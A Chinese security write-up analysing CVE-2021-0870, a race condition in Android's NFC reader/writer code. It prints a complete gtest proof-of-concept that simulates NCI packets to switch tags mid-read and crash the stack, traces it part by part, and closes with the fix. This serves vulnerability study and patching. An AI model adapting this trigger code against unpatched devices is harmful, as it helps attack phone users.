作者:墨云科技VLab Team
原文鏈接:https://mp.weixin.qq.com/s/ck5wwDi9hXmjtiPPfRgtXw

概述

NFC在人們的日常生活中扮演了重要角色,已經成為移動設備不可或缺的組件,NFC和藍牙類似,都是利用無線射頻技術來實現設備之間的通信。因此芯片固件和主機NFC子系統都是遠程代碼執行(RCE)攻擊的目標。

CVE-2021-0870是一枚NFC中的RCE高危漏洞,2021年10月漏洞通告中顯示已被修復https://source.android.com/security/bulletin/2021-10-01。漏洞成因是RW_SetActivatedTagType 可以通過將NFC的TCB(tag control block)置零的方式實現在不同tag之間切換,TCB所在的內存區域是固定不變的,這塊內存被不同tag復用。當TCB被置零后即表示上一狀態已被禁用。但是新tag激活后,上一個狀態的超時檢測定時器仍然在工作,并且仍然引用TCB里的數據和指針,然而此時TCB已經被置零。隨后新狀態啟動自己的定時器重寫TCB中相應偏移的數據時,會產生條件競爭。

NFC技術框架

NFC的三種運行模式

Reader/Write模式:簡稱R/W 和NFC Tag/NFC reader有關;

Peer-to-Peer模式:簡稱P2P 它支持兩個NFC設備進行交互;

NFC Card Emulation(CE):他能把NFC功能的設備模擬成智能卡,這樣就可以實現手機支付/門禁卡功能。

漏洞存在于Reader/Write模式(R/W)

Reader/Write模式

NFC Tag/NFC reader是NFC系統RFID中的兩個重要的組件,其中Tag是一種用于存儲數據的被動式RFID tag,它自身不包含電源,而是依賴其他組件,如NFC reader通過線圈里的電磁感應給他供電,然后通過某些射頻通信協議來存取NFC tag里的數據。

NFC Forum 定義了兩個數據結構用于設備間的通信(不僅僅是設備之間,也包括R/W模式種的NFC Reader和NFC Tag之間交互數據) ,分別是NDEF和NFC Record。

R/W模式下使用NDEF數據結構通信時,NFC設備的每一次數據交互都會被封裝在一個NDEF Message中,一個Message包括多個NFC RecordMessage 的數據結構如下,它是多個record組合而成。

單個record的結構如下:

本文不對詳細的數據結構的各個字段做出解釋。

漏洞存在于使用NDEF數據包通信的過程中。

Tag

NFC Forum 定義了4種tag,分別為Type1,2,3,4 。他們之間的區別在于占用存儲空間的大小和使用底層協議不同。但能被NFC Reader和NFC Tag 讀寫的tag類型遠多于4種,Android Java層提供了"android.nfc.tech"包用來處理不同類型的tag,下表列出了該包里的幾個類,這些類分別處理不同類型的tag。例如,NDEF 是用來處理Type1-4的類。

IsoDep Provides access to ISO-DEP (ISO 14443-4) properties and I/O operations on a Tag.
MifareClassic Provides access to MIFARE Classic properties and I/O operations on a Tag.
MifareUltralight Provides access to MIFARE Ultralight properties and I/O operations on a Tag.
Ndef Provides access to NDEF content and operations on a Tag.
NdefFormatable Provide access to NDEF format operations on a Tag.
NfcA Provides access to NFC-A (ISO 14443-3A) properties and I/O operations on a Tag.
NfcB Provides access to NFC-B (ISO 14443-3B) properties and I/O operations on a Tag.
NfcBarcode Provides access to tags containing just a barcode.
NfcF Provides access to NFC-F (JIS 6319-4) properties and I/O operations on a Tag.
NfcV Provides access to NFC-V (ISO 15693) properties and I/O operations on a Tag.

漏洞代碼中出現的T1T,T2T...TT,I93,是R/W模式下,探測、讀寫NDEF數據包的具體實現方法,是一種的技術標準。比如I93是基于 ISO 15693 的實現方法,T1T基于NFC-A ,也就是ISO 14443-3A。

漏洞分析

POC代碼

基于Google的測試框架gtest編寫了一個集成測試文件,TEST函數是測視例的main函數,自動化測試框架從TEST調用poc代碼:

TEST(NfcIntegrationTest, test_mifare_state_bug) {
 CallbackTracker tracker;
 g_callback_tracker = &tracker;

 NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
 theInstance.Initialize();

 NFA_Init(&entry_funcs);
 NFA_Enable(nfa_dm_callback, nfa_conn_callback);
 usleep(5000);

 std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20};
 g_callback_tracker->SimulatePacketArrival(
     NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
     reset_core.size());

{
   std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
   reset_done_cv.wait(reset_done_lock);
}

 NFA_EnableListening();
 NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);

 NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
 NFA_StartRfDiscovery();

{
   std::unique_lock<std::mutex> enable_lock(cv_mutex);
   enable_cv.wait(enable_lock);
}

 std::vector<uint8_t> init_core = {0x0,  0xa, 0x3,  0xca, 0xff, 0xff, 0xff,
                                   0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0};
 g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE,
                                           NCI_MSG_CORE_INIT, init_core.data(),
                                           init_core.size());

 g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
                                      HAL_NFC_STATUS_OK);

{
   std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
   nfa_enable_cv.wait(nfa_enable_lock);
}

 std::vector<uint8_t> discover_rf = {0x0};
 g_callback_tracker->SimulatePacketArrival(
     NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
     discover_rf.size());

{
   std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
   rf_discovery_started_cv.wait(rf_discovery_started_lock);
}
 std::vector<uint8_t> activate_rf = {/* disc_id */ 0x0,
                                     NFC_DISCOVERY_TYPE_POLL_V,
                                     static_cast<uint8_t>(NFC_PROTOCOL_T5T)};
 for (int i = 0; i < 27; i++) {
   activate_rf.push_back(0x6);
}
 g_callback_tracker->SimulatePacketArrival(
     NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
     activate_rf.data(), activate_rf.size());
{
   std::unique_lock<std::mutex> activated_lock(cv_mutex);
   activated_cv.wait(activated_lock);
}

 NFA_RwReadNDef();

{
   std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
   i93_detect_cv.wait(i93_detect_lock);
}

 g_callback_tracker->SimulatePacketArrival(
     NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
     reset_core.size());

 std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1};
 g_callback_tracker->SimulatePacketArrival(
     NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
     deactivate_rf.data(), deactivate_rf.size());

{
   std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
   deactivated_cv.wait(deactivated_lock);
}

 std::vector<uint8_t> activate_another_rf = {
     /* disc_id */ 0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
 for (int i = 0; i < 70; i++) {
   activate_another_rf.push_back(0x2);
}
 g_callback_tracker->SimulatePacketArrival(
     NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
     activate_another_rf.data(), activate_another_rf.size());

{
   std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
   t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
}

 NFA_Disable(true);

{
   std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
   nfa_disable_cv.wait(nfa_disable_lock);
}
}

poc思路大致步驟為,先讓系統處于i93模式,發送讀數據請求后迅速將系統從i93切換到t3t,系統程序出現崩潰。

下文把poc拆成幾個部分逐一分析。

Part1

第一部分代碼 :

CallbackTracker tracker;
 g_callback_tracker = &tracker;

 NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
 theInstance.Initialize();

 NFA_Init(&entry_funcs);
 NFA_Enable(nfa_dm_callback, nfa_conn_callback);
 usleep(5000);

NFA_Init(&entry_funcs)用于初始化NFA的控制塊。控制塊的作用類似Windows中的PEB結構體。

NFC允許用戶在應用層注冊NFC芯片硬件抽象層(HAL)的回調函數,poc中定義了一個entry_funcs回調函數表,通過NFA_Init中的NFC_Init函數將entry_funcs回調函數表注冊到HAL層。直到NFC被禁用前這個函數指針數組都不會被釋放。entry_funcs如下:

tHAL_NFC_ENTRY entry_funcs = {
  .open = FakeOpen,
  .close = FakeClose,
  .core_initialized = FakeCoreInitialized,
  .write = FakeWrite,
  .prediscover = FakePrediscover,
  .control_granted = FakeControlGranted,
};

和在內核模塊中給設備設置回調函數相似,entry_funcs相當于file_operation結構體。

entry_funcs里用很多Fake開頭的回調函數重載了默認函數,然后把他塞進CallbackTracker這個類,這樣做的好處是:

1.函數重載可以對系統默認的回調函數進行二次包裝,實現Hook功能。比如后面會看到,加入了線程同步的功能。

2.只通過一個自定義的類實現所有函數的調用,讓代碼結構更加整潔。

接著調用NFA_Enable,他調用的幾個關鍵函數是:

NFA_Enable->nfa_sys_sendmsg -> GKI_send_msg -> GKI_send_event -> pthread_cond_signal 。

NFA(NFC For Android)是安卓系統中NFC的實現。NFA_Enable用來使能安卓NFC,調用它時NFCC必須已經上電,該函數啟動了NFC關鍵的幾個任務,打開了NCI的傳輸渠道,重置了NFC 控制器,初始化整個NFC系統,他是初始化最重要的函數,一般只在系統啟動時調用一次,這里我們再次調用來生成一個獨立于系統NFC的單獨的NFC實驗環境。

nfa_sys_sendmsg函數用來發送GKI (General Kernel Interface)消息,

GKI_send_event將event從一個task發送給另一個task,任務之間使用event數據結構的數據包,經安卓的HwBinder進行消息傳遞.Hwbinder是谷歌專門為供應商設計的進程間通信框架,獨立于安卓系統的binder存在,是從8.0以后引入的新機制。

NFA_Enable執行完后,除了測試框架調用Test的主線程外,進程中會多出兩個線程,這兩個線程就是兩個task,可近似理解為一個是NFCC,另一個充當客戶端,這兩個線程之間互相發數據包交互。作為服務端的task維護了一個命令隊列,里面存放要被執行的命令,通過nfc_ncif_check_cmd_queue去檢查隊列里有沒有命令,如果有就去執行。nfc_task是這個事件處理消息的主循環。環解析命令事件并執行相應的回調函數。代碼如下, 前一個if半部分負責處理初始化,后一個if是主循環:

uint32_t nfc_task(__attribute__((unused)) uint32_t arg) {... /* main loop */ while (true) {   event = GKI_wait(0xFFFF, 0);...   /* Handle NFC_TASK_EVT_TRANSPORT_READY from NFC HAL */   if (event & NFC_TASK_EVT_TRANSPORT_READY) {...     nfc_set_state(NFC_STATE_CORE_INIT);     nci_snd_core_reset(NCI_RESET_TYPE_RESET_CFG);  }   if (event & NFC_MBOX_EVT_MASK) {     /* Process all incoming NCI messages */     while ((p_msg = (NFC_HDR*)GKI_read_mbox(NFC_MBOX_ID)) != nullptr) {       free_buf = true;       /* Determine the input message type. */       switch (p_msg->event & NFC_EVT_MASK) {         case BT_EVT_TO_NFC_NCI:           free_buf = nfc_ncif_process_event(p_msg);           break;         case BT_EVT_TO_START_TIMER:           /* Start nfc_task 1-sec resolution timer */           GKI_start_timer(NFC_TIMER_ID, GKI_SECS_TO_TICKS(1), true);           break;         case BT_EVT_TO_START_QUICK_TIMER:           /* Quick-timer is required for LLCP */           GKI_start_timer(               NFC_QUICK_TIMER_ID,              ((GKI_SECS_TO_TICKS(1) / QUICK_TIMER_TICKS_PER_SEC)), true);           break;         case BT_EVT_TO_NFC_MSGS:           nfc_main_handle_hal_evt((tNFC_HAL_EVT_MSG*)p_msg);           break;         default:           DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf(               "nfc_task: unhandle mbox message, event=%04x", p_msg->event);           break;      }       if (free_buf) {         GKI_freebuf(p_msg);      }    }  }...}

Part2

第二部分代碼如下所示:

std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20}; g_callback_tracker->SimulatePacketArrival(     NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),     reset_core.size());{   std::unique_lock<std::mutex> reset_done_lock(cv_mutex);   reset_done_cv.wait(reset_done_lock);}

SimulatePacketArrival是poc調用頻率最高的函數,模擬了從task之間數據交互的過程 。

task之間使用NCI數據包通信,NCI數據包的格式簡要概述為頭部,共3字節。

/* NCI Command and Notification Format:
* 3 byte message header:
* byte 0: MT PBF GID
* byte 1: OID
* byte 2: Message Length */
/* MT: Message Type (byte 0) */

頭部后面跟實際數據,如下所示:

SimulatePacketArrival如何構造數據包呢? 以它第一次被調用為例:

SimulatePacketArrival(NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),reset_core.size())

對比他的函數原型:

void SimulatePacketArrival(uint8_t mt, uint8_t pbf, uint8_t gid,uint8_t opcode, uint8_t* data, size_t size)

可知mt->NCI_MT_NTF,pbf-> 0,gid->NCI_GID_CORE,opcode->NCI_MSG_CORE_RESET,data->reset_core.data(),size->reset_core.size(),std::vector reset_core -> {0x1, 0x29, 0x20};

先構造前三個Octect組成頭部,然后在末尾插入數據。

    std::vector<uint8_t> buffer(3)   buffer[0] = (mt << NCI_MT_SHIFT) | (pbf << NCI_PBF_SHIFT) | gid;//第一個8位   buffer[1] = (mt == NCI_MT_DATA) ? 0 : opcode;//第二個8   buffer[2] = static_cast<uint8_t>(size);//第三個8   buffer.insert(buffer.end(), data, data + size);//尾部附加的實際數據是{0x1, 0x29, 0x20   data_callback_(buffer.size(), buffer.data());

接著調用data_callback_函數發送數據給另一個task。

每一次SimulatePacketArrival調用后面都有一個代碼塊,例如:

  {
    std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
    reset_done_cv.wait(reset_done_lock);
  }

reset_done_cv是一個條件變量,條件變量是C++11引入的一種同步機制。調用reset_done_cv.wait時會將線程掛起,直到其他線程調用notify是才解除阻塞繼續執行,合理運用條件變量可以實現不同線程之間的同步。

比如reset_done_cv解除阻塞的時機是在調用FakeWrite的時候,調用棧是:

(gdb) bt
#0  0x000000555558b804 in FakeWrite(unsigned short, unsigned char*) ()
#1  0x0000007fb63ba7fc in nfc_ncif_check_cmd_queue (p_buf=0x7300007fb644f440) at system/nfc/src/nfc/nfc/nfc_ncif.cc:337
#2  0x0000007fb63bb7cc in nfc_ncif_send_cmd (p_buf=<optimized out>) at system/nfc/src/nfc/nfc/nfc_ncif.cc:402
#3  0x0000007fb63ae370 in nci_snd_core_init (nci_version=32 ' ') at system/nfc/src/nfc/nci/nci_hmsgs.cc:94
#4  0x0000007fb63c1f44 in nfc_ncif_proc_reset_rsp (p=<optimized out>, is_ntf=<optimized out>) at system/nfc/src/nfc/nfc/nfc_ncif.cc:1741
#5  0x0000007fb63b00c8 in nci_proc_core_ntf (p_msg=<optimized out>) at system/nfc/src/nfc/nci/nci_hrcv.cc:135
#6  0x0000007fb63bc1b8 in nfc_ncif_process_event (p_msg=<optimized out>) at system/nfc/src/nfc/nfc/nfc_ncif.cc:505
#7  0x0000007fb63c3df4 in nfc_task (arg=<optimized out>) at system/nfc/src/nfc/nfc/nfc_task.cc:378
#8  0x0000007fb6436758 in gki_task_entry (params=<optimized out>) at system/nfc/src/gki/ulinux/gki_ulinux.cc:96
#9  0x0000007fb5cfe9b8 in __pthread_start (arg=0x7f31d23cc0) at bionic/libc/bionic/pthread_create.cpp:347
...

nfc_ncif_check_cmd_queue函數會調用HAL_WRITE(p_buf)函數發數據給HAL,雖然從調用棧看不出FakeWrite實際就是HAL_WRITE,但由于之前重載了 HAL_WRITE的函數指針,HAL_WRITE實際就是FakeWrite 。

void FakeWrite(uint16_t data_len, uint8_t* p_data) {
  uint8_t reset_pattern[5] = {0x20, 0x1, 0x2, 0x0, 0x0};
  if (data_len == 5 && !memcmp(reset_pattern, p_data, data_len)) {
    reset_done_cv.notify_one();
  }

  uint8_t i93_detect_pattern[6] = {0x0, 0x0, 0x3, 0x26, 0x1, 0x0};
  if (data_len == 6 && !memcmp(i93_detect_pattern, p_data, data_len)) {
    i93_detect_cv.notify_one();
  }

  uint8_t t3t_get_system_codes_pattern[7] = {0x21, 0x8, 0x4, 0xff,
                                             0xff, 0x1, 0xf};
  if (data_len == 7 &&
      !memcmp(t3t_get_system_codes_pattern, p_data, data_len)) {
    t3t_get_system_codes_cv.notify_one();
  }
}

因為寫入NFC需要被頻繁調用,必須判斷到來的數據包是否符合要求才能執行對應的操作,所以第一個if中判斷:

 if (data_len == 5 && !memcmp(reset_pattern, p_data, data_len))

符合條件就會解除調用reset_done_cv.notify_one()阻塞.這里重載HAL函數指針的優勢就顯現出來了.FakeWrite 函數除了向HAL發送/寫入數據之外,還增加了解除poc中各種條件變量阻塞的功能方便了在競態漏洞利用中進行時序同步 。

Part3

代碼是:

  NFA_EnableListening();
  NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);

  NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
  NFA_StartRfDiscovery();

  {
    std::unique_lock<std::mutex> enable_lock(cv_mutex);
    enable_cv.wait(enable_lock);
  }

  std::vector<uint8_t> init_core = {0x0,  0xa, 0x3,  0xca, 0xff, 0xff, 0xff,
                                    0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0};
  g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE,
                                            NCI_MSG_CORE_INIT, init_core.data(),
                                            init_core.size());

  g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
                                       HAL_NFC_STATUS_OK);

  {
    std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
    nfa_enable_cv.wait(nfa_enable_lock);
  }

  std::vector<uint8_t> discover_rf = {0x0};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
      discover_rf.size());

  {
    std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
    rf_discovery_started_cv.wait(rf_discovery_started_lock);
  }

將NFC開啟,并進入discovery模式。

Part4

代碼是:

NFA_RwReadNDef();
{
  std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
  i93_detect_cv.wait(i93_detect_lock);
}

NFA_RwReadNDef()會讀取I93 tag里的數據,此時定時器開始啟動用于檢測是否超時,下面是I93收到讀請求后定時器被啟動的調用棧:

#0  nfc_start_quick_timer (p_tle=<optimized out>, type=<optimized out>, timeout=<optimized out>) at ../src/nfc/nfc/nfc_task.cc:190
#1  0x00000000005f8874 in rw_i93_send_to_lower (p_msg=<optimized out>) at ../src/nfc/tags/rw_i93.cc:680
#2  0x00000000005f916d in rw_i93_send_cmd_inventory (p_uid=<optimized out>, including_afi=<optimized out>, afi=<optimized out>) at ../src/nfc/tags/rw_i93.cc:740
#3  0x0000000000618f82 in RW_I93DetectNDef () at ../src/nfc/tags/rw_i93.cc:3985
#4  0x0000000000720e2e in nfa_rw_start_ndef_detection () at ../src/nfa/rw/nfa_rw_act.cc:1557
#5  0x000000000071a76e in nfa_rw_read_ndef () at ../src/nfa/rw/nfa_rw_act.cc:1737
#6  nfa_rw_handle_op_req (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2863
#7  0x000000000070b144 in nfa_rw_handle_event (p_msg=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:246
#8  0x0000000000721df0 in nfa_sys_event (p_msg=<optimized out>) at ../src/nfa/sys/nfa_sys_main.cc:85

Part5

代碼是:

  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
      reset_core.size());

  std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
      deactivate_rf.data(), deactivate_rf.size());

  {
    std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
    deactivated_cv.wait(deactivated_lock);
  }

這段代碼關閉了NFC,目的是從i93順利切換到T3T 。

Part6

std::vector<uint8_t> activate_another_rf = {
      /* disc_id */ 0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
  for (int i = 0; i < 70; i++) {
    activate_another_rf.push_back(0x2);
  }
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
      activate_another_rf.data(), activate_another_rf.size());
  {
    std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
    t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
  }
  NFA_Disable(true);
  {
    std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
    nfa_disable_cv.wait(nfa_disable_lock);
  }

part5中從I93 tag中讀取了數據,并且啟動定時器,我們必須在定時器過期前立即調用RW_SetActivatedTagType通知NFCC終止立即I93 Tag,并激活T3T Tag。

g_callback_tracker->SimulatePacketArrival(NCI_MT_NTF,0,NCI_GID_RF_MANAGE,NCI_MSG_RF_INTF_ACTIVATED,activate_another_rf.data(),activate_another_rf.size());

就調用了RW_SetActivatedTagType ,

RW_SetActivatedTagType 代碼為:

tNFC_STATUS RW_SetActivatedTagType(tNFC_ACTIVATE_DEVT* p_activate_params,tRW_CBACK* p_cback) {
  ...
  memset(&rw_cb.tcb, 0, sizeof(tRW_TCB));
  ...

原來從一個狀態切換到另一個狀態的方法是調用memset(&rw_cb.tcb,0, sizeof(tRW_TCB))將TCB控制塊全部置零清空,雖然看起來沒錯,但是把控制塊清空并不等價于將上個狀態的上下文被全部重置,他忽略了I93tag之前啟動的定時器此時仍在工作,但新的tag也會啟動自己的定時器,并改寫TCB中相同偏移的數據。

TCB是被復用的,我們使用memset而非free,說明狀態切換后,這塊內存仍然存放的是TCB,所以此時系統里會出現兩個定時器改寫同一地址的情景。

以下是T3T tag下定時器向TCB中寫入數據時代碼:

2367      *p_b = rw_t3t_mrti_base[e] * b; /* (B+1) * base (i.e T/t3t * 4^E) */

匯編是:

1: x/5i $pc
=> 0x5de2a3 <_Z13rw_t3t_selectPhhh+787>:        mov    %r12d,%eax
   0x5de2a6 <_Z13rw_t3t_selectPhhh+790>:        shr    $0x6,%al
   0x5de2a9 <_Z13rw_t3t_selectPhhh+793>:        movzbl %al,%eax
   0x5de2ac <_Z13rw_t3t_selectPhhh+796>:        lea    0x813de0(,%rax,4),%rdi
   0x5de2b4 <_Z13rw_t3t_selectPhhh+804>:        mov    %rdi,%rax

調用棧是:

#0  rw_t3t_select (peer_nfcid2=<optimized out>, mrti_check=<optimized out>, mrti_update=<optimized out>) at ../src/nfc/tags/rw_t3t.cc:2393
#1  0x000000000067ab9b in RW_SetActivatedTagType (p_activate_params=<optimized out>, p_cback=<optimized out>) at ../src/nfc/tags/rw_main.cc:290
#2  0x00000000007153fd in nfa_rw_activate_ntf (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2630
#3  0x000000000070b144 in nfa_rw_handle_event (p_msg=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:246
#4  0x000000000070a710 in nfa_rw_proc_disc_evt (event=1 '\001', p_data=<optimized out>, excl_rf_not_active=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:184
#5  0x00000000006b243d in nfa_dm_poll_disc_cback (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_act.cc:1636
#6  0x00000000006a397d in nfa_dm_disc_notify_activation (p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:1238
#7  0x0000000000697105 in nfa_dm_disc_sm_discovery (event=<optimized out>, p_data=0x7fff715200e0) at ../src/nfa/dm/nfa_dm_discover.cc:1918

崩潰現場

i93定時器仍存在于定時器鏈表中,t3t被激活后里面的數據被t3t定時器破壞。當t3t定時器也被插入鏈表頭部時會產生段錯誤。

崩潰現場:

對應的源代碼是while一行,

   /* Find the entry that the new one needs to be inserted in front of */
     p_temp = p_timer_listq->p_first;
=>>    while (p_tle->ticks > p_temp->ticks) {
       /* Update the tick value if looking at an unexpired entry */
       if (p_temp->ticks > 0) p_tle->ticks -= p_temp->ticks;

       p_temp = p_temp->p_next;
    }

下面這個調用棧并非poc的而是漏洞被發現時的,放在這僅供參考。

(rr) bt
#0  0x000000000075b6fd in GKI_add_to_timer_list (p_timer_listq=<optimized out>, p_tle=0x1221dd8 <rw_cb+88>, p_tle@entry=0x7fff71517140) at ../fuzzer/gki_fuzz_fakes.cc:153
#1  0x000000000059d1ce in nfc_start_quick_timer (p_tle=<optimized out>, type=<optimized out>, timeout=<optimized out>) at ../src/nfc/nfc/nfc_task.cc:216
#2  0x00000000005e3c68 in rw_t3t_start_poll_timer (p_cb=<optimized out>) at ../src/nfc/tags/rw_t3t.cc:333
#3  RW_T3tGetSystemCodes () at ../src/nfc/tags/rw_t3t.cc:2964
#4  0x0000000000719a40 in nfa_rw_t3t_get_system_codes () at ../src/nfa/rw/nfa_rw_act.cc:2331
#5  nfa_rw_handle_op_req (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2971
#6  0x000000000071585d in nfa_rw_activate_ntf (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2677
#7  0x000000000070b144 in nfa_rw_handle_event (p_msg=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:246
#8  0x000000000070a710 in nfa_rw_proc_disc_evt (event=1 '\001', p_data=<optimized out>, excl_rf_not_active=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:184
#9  0x00000000006b243d in nfa_dm_poll_disc_cback (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_act.cc:1636
#10 0x00000000006a397d in nfa_dm_disc_notify_activation (p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:1238
#11 0x0000000000697105 in nfa_dm_disc_sm_discovery (event=<optimized out>, p_data=0x7fff715200e0) at ../src/nfa/dm/nfa_dm_discover.cc:1918
#12 nfa_dm_disc_sm_execute (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:2533
#13 0x000000000068f601 in nfa_dm_disc_discovery_cback (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:727
#14 0x00000000005b0a92 in nfc_ncif_proc_activate (p=<optimized out>, len=60 '<') at ../src/nfc/nfc/nfc_ncif.cc:1372
#15 0x00000000005c50c9 in nci_proc_rf_management_ntf (p_msg=0x617000003180) at ../src/nfc/nci/nci_hrcv.cc:276
#16 0x00000000005a2e6b in nfc_ncif_process_event (p_msg=0x617000003180) at ../src/nfc/nfc/nfc_ncif.cc:485

漏洞緩解措施

只要在切換到下一個tag之前,將上一個tag的定時器關閉即可。

tNFC_STATUS RW_SetActivatedTagType(tNFC_ACTIVATE_DEVT* p_activate_params,
                                  tRW_CBACK* p_cback) {
 tNFC_STATUS status = NFC_STATUS_FAILED;

 /* check for null cback here / remove checks from rw_t?t */
 DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf(
     "RW_SetActivatedTagType protocol:%d, technology:%d, SAK:%d",
     p_activate_params->protocol, p_activate_params->rf_tech_param.mode,
     p_activate_params->rf_tech_param.param.pa.sel_rsp);

 if (p_cback == nullptr) {
   LOG(ERROR) << StringPrintf(
       "RW_SetActivatedTagType called with NULL callback");
   return (NFC_STATUS_FAILED);
}

 switch (rw_cb.tcb_type) {
   case RW_CB_TYPE_T1T: {
     nfc_stop_quick_timer(&rw_cb.tcb.t1t.timer);
     break;
  }
   case RW_CB_TYPE_T2T: {
     nfc_stop_quick_timer(&rw_cb.tcb.t2t.t2_timer);
     break;
  }
   case RW_CB_TYPE_T3T: {
     nfc_stop_quick_timer(&rw_cb.tcb.t3t.timer);
     nfc_stop_quick_timer(&rw_cb.tcb.t3t.poll_timer);
     break;
  }
   case RW_CB_TYPE_T4T: {
     nfc_stop_quick_timer(&rw_cb.tcb.t4t.timer);
     break;
  }
   case RW_CB_TYPE_T5T: {
     nfc_stop_quick_timer(&rw_cb.tcb.i93.timer);
     break;
  }
   case RW_CB_TYPE_MIFARE: {
     nfc_stop_quick_timer(&rw_cb.tcb.mfc.timer);
     nfc_stop_quick_timer(&rw_cb.tcb.mfc.mfc_timer);
     break;
  }
   case RW_CB_TYPE_UNKNOWN: {
     break;
  }
}

 /* Reset tag-specific area of control block */
 memset(&rw_cb.tcb, 0, sizeof(tRW_TCB));

```

總結

近幾年,安卓系統高危漏洞有多發于硬件設備的趨勢,我們會持續關注該領域最新的漏洞利用,并呼吁各大廠商及時更新安全補丁。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1987/